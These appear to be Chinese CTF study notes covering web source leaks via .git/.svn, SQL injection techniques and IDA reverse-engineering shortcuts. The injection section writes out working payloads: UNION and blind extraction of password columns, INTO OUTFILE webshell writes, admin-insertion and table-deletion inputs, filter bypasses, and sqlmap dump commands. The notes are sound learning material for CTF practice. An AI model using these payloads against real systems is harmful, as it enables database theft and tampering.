



# CTF 学习笔记

作者：shijy16

时间：March 20, 2021

## 特别声明

本册是 CTF 学习笔记，按照从 0 到 1: CTFer 成长之路的章节一步一步学习，会记录一些笔记。

供初学 CTF 的同学们参考交流。

shijy16

# 目录

<b>1</b>	<b>web 入门</b>	<b>2</b>
1.1	信息收集 . . . . .	2
1.2	SQL 注入 . . . . .	4
1.3	任意文件读取 . . . . .	9
<b>2</b>	<b>逆向工程</b>	<b>10</b>
2.1	逆向工程基础 . . . . .	10
2.2	静态分析 . . . . .	10

# 第一章 web 入门

web 类题目是 CTF 比赛的主要题目，和二进制、逆向题目相比，不需要掌握底层知识。本章介绍 web 题目最常见的三类漏洞。

## 1.1 信息收集

信息搜集涵盖的面很广泛，包含备份文件、目录信息、Banner 信息等，信息搜集主要依赖经验。

### 1.1.1 敏感目录泄露

#### git 泄露

**常规 git 泄露** 直接用现成工具或脚本获取网站源码或 flag。如：在确保目标 URL 含有.git 的情况下，可以直接使用 **scrabble** 来获取网站源码。命令如下：

```
1 ./scrabble http://example.com/
```

**git 回滚** 利用 scrabble 获取网站源码后，部分情况下，flag 会在之前的 commit 中被删除/修改，这时需要回滚。

```
1 git reset --hard HEAD~ #回滚到上一版本
2 git log -stat #查看每个commit修改了什么
3 git diff HEAD commit-id #查看当前版本与目标版本的区别
```

**git 分支** 有时候 flag 不在默认分支中，需要切换其他分支，但大部分现成 git 泄露工具不支持分支，还原其他分支代码需要手工进行文件提取。功能较强的工具有 **GitHacker**，用法：

```
1 python GitHacker.py [Website]
```

而后使用 *git reflog* 命令查看 checkout 记录，可以发现其他分支，然后修改/复用 **GitHacker** 代码来自动恢复分支。

**git 泄露其他利用** 泄露的 git 中可能还有其他有用信息，比如说.git/config 文件夹里面可能有 access\_token 信息，用来访问用户其他仓库。

#### SVN 泄露

SVN 是源代码版本管理软件，管理员可能疏忽将 SVN 隐藏文件夹暴露在外。可以利用 .svn/entries 或 wc.db 获取服务器源码。

工具：<https://github.com/kost/dvcs-ripper/>, [Seay-svn\(windows\)](#)。

## HG 泄露

HG 会创建 .hg 隐藏文件记录代码、分支信息。

工具：<https://github.com/kost/dvcs-ripper/>

## 总结经验

CTF 线上赛往往有重定向问题，如访问 .git 后重定向，再访问 .git/config 后有内容返回，就有 .git 泄露问题。

目录扫描工具：<https://github.com/maurosoria/dirsearch>

### 1.1.2 敏感备份文件

#### gedit 备份文件

gedit：文件保存后会有一个后缀为 '~' 的文件。如 *flag ~*。

#### vim 备份文件

vim 崩溃时会会有一个 .swp 文件，可以用 *vim -r* 命令恢复。

## 常规文件

- robots.txt: CMS 版本信息
- readme
- www.zip/rar/tar.gz: 常常是网站的备份源码

### 1.1.3 Banner 识别

Banner: 网站服务器对外显示的一些基础信息，如网站使用的框架等。可以据此尝试框架历史漏洞。

## 自行搜集指纹库

github 上有 CMS 指纹库，也有扫描器。

## 使用已有工具

Wappalyzer 工具：python 工具，使用 pip 安装即可。

## 总结经验

随意输入一些 URL 有时可以通过 404 或 302 跳转页面发现一些信息。

## 1.2 SQL 注入

### 1.2.1 SQL 注入基础

介绍数字型注入、UNION 注入、字符型注入、布尔型注入、时间注入、报错注入和堆叠注入。

#### 数字型注入和 UNION 注入

数字型注入：注入点为数字。

- 判断方法：注入  $3-1$  之类的计算式来判断是否是数字型注入。
- 利用方法：结合 UNION 语句进行联合查询注入。

联合查询时需要知道表名，mysql 有自带数据库 *information\_schema*，里面包含了所有的数据库名、表名、字段名：

```
1 UNION SELECT 1,group_concat(table_name) FROM information_schema.
   tables WHERE table_schema=database()
2 UNION SELECT 1,group_concat(column_name) FROM information_schema.
   columns WHERE table_name='NAME'
```

*group\_concat* 是将多行查询结果以逗号分隔放在一行的函数。

注意：UNION 查询时，后面查询的列数要和前面查询语句查询的列数一样，所以需要用 'UNION SELECT 1,2,3,...,n' 的方法首先确定列数。

#### 字符型注入和布尔盲注

字符型注入：数字注入点外部包裹了引号。

- 判断方法：输入字符 'a'，看查询结果和 0 是否一致。因为 a 会被强制转换为 0。
- 利用方法：用引号闭合前面的语句，最后面用 '#' 或者 '-' 注释后面的部分。
- 注意用 URL 编码，'#' 为 '%23'，' ' 为 '%20'，单引号为 '%27'，双引号为 '%22'。

之后操作和数字型一致。

布尔盲注：看不到查询结果时，通过在查询语句中添加判断式、观察回显页面来推测数据。

- 判断方法：存在字符型注入或字符型注入但又看不到查询结果，只能通过回显页面判断结果是否存在。
- 利用方法：后面添加判断式，逐字符猜测结果。
- 常用函数：substring(str,start,len)，mid(str,start,len)，substr(str,start,len)。

例子：

```
1 SELECT title,content FROM wp_news WHERE id='1' AND (SELECT MID((
   SELECT concat(user,0x7e,pwd) FROM wp_user),1,1)) = 'a'
```

'0x7e' 是波浪号。

时间盲注：查询成功和查询失败的回显页面没有任何区别，这时可以通过 IF 或 OR、AND 语句，加入 sleep 函数，通过观察执行时间来判断。

## 报错注入

报错注入：目标网站开启了错误调试信息，报错信息会回显到网页上。如：

```
1 SELECT ... FROM ... WHERE ... OR VAR_DUMP(mysqli_error($conn))
```

- 判断方法：输入语法错误语句，看是否有报错语句回显。
- 利用方法：利用 updatexml() 第二个参数的特性，其第二个参数不是合法的 XPATH 路径时，会输出传入的参数。

例子：

```
1 SELECT title,content FROM wp_news WHERE id='1' OR updatexml(1,
  concat(0x7e,(select pwd from wp_user)),1)
```

堆叠注入：目标开启了多语句执行，可以一次注入多行命令，任意修改表和数据库。

### 1.2.2 注入点

从 SQL 语法角度讲注入技巧。

## SELECT 注入

注入点在 **select\_expr** 源码形式：

```
1 SELECT ${_GET['id']}, content FROM wp_news
```

且页面只会显示结果中的'title','content' 列。注入方法：时间盲注或 AS 别名。

```
1 别名：id = (SELECT pwd FROM wp_user) AS title
```

注入点在 **table\_reference** 源码形式：

```
1 SELECT title FROM ${_GET['table']}
```

且页面只会显示结果中的'title','content' 列。注入方法：AS 别名。

```
1 别名：table = (SELECT pwd AS title FROM wp_user)
```

注入点在 **WHERE 或 HAVING 后** 源码形式：

```
1 SELECT title FROM wp_news WHERE id=${_GET['id']}
```

最常见的，和上一节的方法一样，注意判断和闭合引号和括号。

注入点在 **GROUP BY** 或 **ORDER BY** 后 源码形式:

```
1 SELECT title FROM wp_news GROUP BY ${_GET['title']}
```

判断和注入: 判断下列语句是否有效, 而后时间盲注。

```
1 title = id desc,(if(1,sleep(1),1))
```

注入点在 **LIMIT** 后 **LIMIT** 后只能是数字, 在语句没有 **ORDER BY** 关键字时, 可以用 **UNION** 注入。MySQL5.6 前的版本可以用 **PROCEDURE** 注入, 这个语句可以获取版本号:

```
1 SELECT id FROM wp_news LIMIT 2 PROCEDURE analyse(extractvalue(1,
concat(0x3a,version()))),1)
```

'0x3a' 是 ':', 处理时会报错, 错误回显会显示 version()。没有错误回显时, 也可以基于时间注入获取版本号:

```
1 PROCEDURE analyse((SELECT extractvalue(1,concat(0x3a,(IF(MID(
VERSION(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1))))))),1)
2 # BENCHMARK 处理时间大概为 1s。
```

确定版本在 5.6 之前, 可以用 **INTO OUTFILE** 语句直接向 web 目录写入 webshell。没有写文件权限时, 可以用如下语句控制部分内容:

```
1 SELECT xxxx INTO outfile "/tmp/xxx.php" LINES TERMINATED BY '<?php
phpinfo;?>'
```

## INSERT 注入

注入点位于 **tbl\_name** 源码形式:

```
1 INSERT INTO ${_GET['table']} VALUES(2,2,2,2)
```

注入方法: 可以注释后面语句的情况下, 可以直接向任意表格插入数据。

```
1 table=wp_user values(2,'new_admin','new_password')#
```

注入点位于 **VALUES** 源码形式:

```
1 INSERT INTO wp_user VALUES(1,1,'${_GET['value']}')
```

注入方法: 闭合单引号后另行插入一个 values。

```
1 value=1',values(2,1,'aaa')
2 value=1',values(2,1,(SELECT pwd FROM wp_user LIMIT 1)) #能回显部分
    字段情况下直接查询
```



## UPDATE 注入

源码形式：

```
1 UPDATE wp_user SET id=${_GET['id']} WHERE user='x'
```

注入方法：可以修改多字段，或使用与 SELECT 语句类似的方法。

```
1 id=1,user='y'
```

## DELETE 注入

源码形式：

```
1 DELETE FROM wp_news WHERE id=${_GET['id']}
```

注入方法：可以直接删除整个表，也可以通过 sleep 防止表被删后进行时间盲注：

```
1 id=1 or 1    # 删除所有
2 id=1 and sleep(1)    # sleep 会返回 0
```

### 1.2.3 注入和防御

#### 字符替换

防御方法：直接替换关键字。

**只替换空格** 防御者直接替换空格为空。攻击方法：用 "%0a,%0b,%0c,%09,%a0" 和 /\*\*/ 组合、括号等替代空格。

**将 SELECT 替换为空** 防御者直接替换 SELECT 为空。攻击方法：嵌套，使用 SESELECTLECT。

**大小写匹配** 防御者替换 select 或 SELECT。攻击方法：使用 sElEcT。

**正则匹配** 匹配语句："\\bselect\\b"。攻击方法：可以用 "/\*!5000select\*/" 绕过。

**过滤引号，但没过滤反斜杠** 源码形式：

```
1 SELECT * FROM wp_news WHERE id='可控点1' AND title='可控点2'
```

攻击方法：使用反斜杠转义可控点 1 后面的单引号，使可控点 2 逃逸。

```
1 可控点1: a\
2 可控点2: or sleep(1) #
```

#### 逃逸引号

开发者常常对用户输入做 addslashes，添加反斜杠转义引号等。

**编码解码** 若开发者使用了 `urldecode`、`base64_decode` 等解码函数，则将引号编码后输入。

**意料之外的输入点** PHP 中上传的文件名、http header、`$_SERVER['PHP_SELF']`。

**二次注入** 开发者通常信任数据库中取出的数据。攻击者可以设置用户名为 `admin'or'1`，用户名在转义后可以顺利存入数据库。当用户名被再次使用时：

```
1 SELECT password from wp_user WHERE username='admin'or'1'
```

**字符串阶段** 开发者可能限定长度。源码形式：

```
1 SELECT * FROM wp_news WHERE id='可控点1' AND title='可控点2'
```

其中限制了可控点 1 的长度为 10 且添加了 `addslashes` 转义可控点 1 中的反斜杠、引号。攻击方法：

```
1 可控点1=aaaaaaaaa'
```

这时可控点 1 会被转义为 `aaaaaaaaa\'`，正好被截断，最后一位是 `\`，从而使可控点 2 逃逸。

### 1.2.4 注入的功效

- 文件读写。INTO OUTFILE、DUMPFILE、load\_file()。
- 提权。添加权限、添加用户。
- 文件读取。
- 数据库控制。
- SQL SERVER 中系统命令执行。

### 1.2.5 sqlmap

使用 **sqlmap** 可以直接注入。若注入点在参数中，可以直接：

```
1 python sqlmap.py http://target.com?id=1
2 sql 选项：
3 ./sqlmap.py -u "注入地址" --dbs // 列举数据库
4 ./sqlmap.py -u "注入地址" --current-db // 当前数据库
5 ./sqlmap.py -u "注入地址" --users // 列数据库用户
6 ./sqlmap.py -u "注入地址" --current-user // 当前用户
7 ./sqlmap.py -u "注入地址" --tables -D "数据库" // 列举数据库的表名
8 ./sqlmap.py -u "注入地址" --columns -T "表名" -D "数据库" // 获取
   表的列名
9 ./sqlmap.py -u "注入地址" --dump -C "字段,字段" -T "表名" -D "数据
   库" // 获取表中的数据，包含列，就是脱裤
```

若注入点在 POST 请求中，可以用 burp 抓包后把请求包保存下来，然后直接：

```
1 python sqlmap.py -r "post.txt" -p [ArgName] --[option]
```

## 1.3 任意文件读取

## 第二章 逆向工程

### 2.1 逆向工程基础

主要讲了一些汇编、工具的基本常识，略过。

### 2.2 静态分析

#### 2.2.1 IDA 使用入门

讲 IDA 怎么用。数据类型快捷键:

- U: 取消一个地方已有数据类型定义。
- D: 把一个地方变成数据，一直按会修改数据的长度。
- C: 让一个位置变成指令。
- A: 让一个位置为起点变成以 \0 结尾的 ASCII 字符串。
- \*: 将一个位置定义为数组。
- O: 将一个位置定义为地址偏移。

函数操作快捷键:

- 删除函数: 选中函数后 DELETE。
- 定义函数: 选中行后 P。
- 修改函数参数: 函数窗口中选中函数 Ctrl+E, 反汇编窗口选中函数内部 Alt+E。

导航操作快捷键:

- 后退到上一位置: Esc。
- 前进到下一位置: Ctrl+Enter。
- 跳转到一个地址: G, 然后输入地址/名称。
- 跳转到某一区段: Ctrl+S。

其他: IDA Python、字符串子窗口、十六进制子窗口。

#### 2.2.2 HexRays 反编译器入门

- 生成伪代码:F5。
- Collapse declaration: 折叠函数。
- 修改标识符: 在标识符上按 N。
- 切换常量显示格式: 右键。
- 修改标识符类型: Y。
- 添加结构体类型: Insert 或右键, 而后 IDA 会自动识别该类型。也可以添加头文件。
- 代码跳过: 选中后右键, 选择 fill with nops。(需要装LazyIDA 插件)

### 2.2.3 IDA 和 HexRays 进阶

- main 函数查找: 找 `__lib_start_main` 和 `start` 函数。
- FLIRT 签名: 函数列表中底色为青色的函数表示因为签名问题识别失败, `Shift+F5` 打开 Signature 列表, 然后按 `Insert`, 自动新增签名库。
- HexRays 函数分析失败:
  - call analysis failed: 找函数调用参数时出错, 需要手动修改函数的原型声明, 如从 `'int __thiscall'` 改为 `'int __cdecl'`。
  - sp-analysis failed: 优化等级较高时, 编译器省略了 `ebp` 使用, 转而使用 `rsp` 引用局部变量, HexRays 在跟踪 `rsp` 时出错。一般是由参数个数或调用约定出错导致 IDA 对栈指针变化量计算错误, 可以在 Option-General 中打开 Stackpointer 分析错误。
  - 指令分析错误: 有时候代码段中会有一些地方插入了不会到达的混淆, 导致之后的指令解析错误, 需要定位到错误点把这些地方用 `nop` 填充。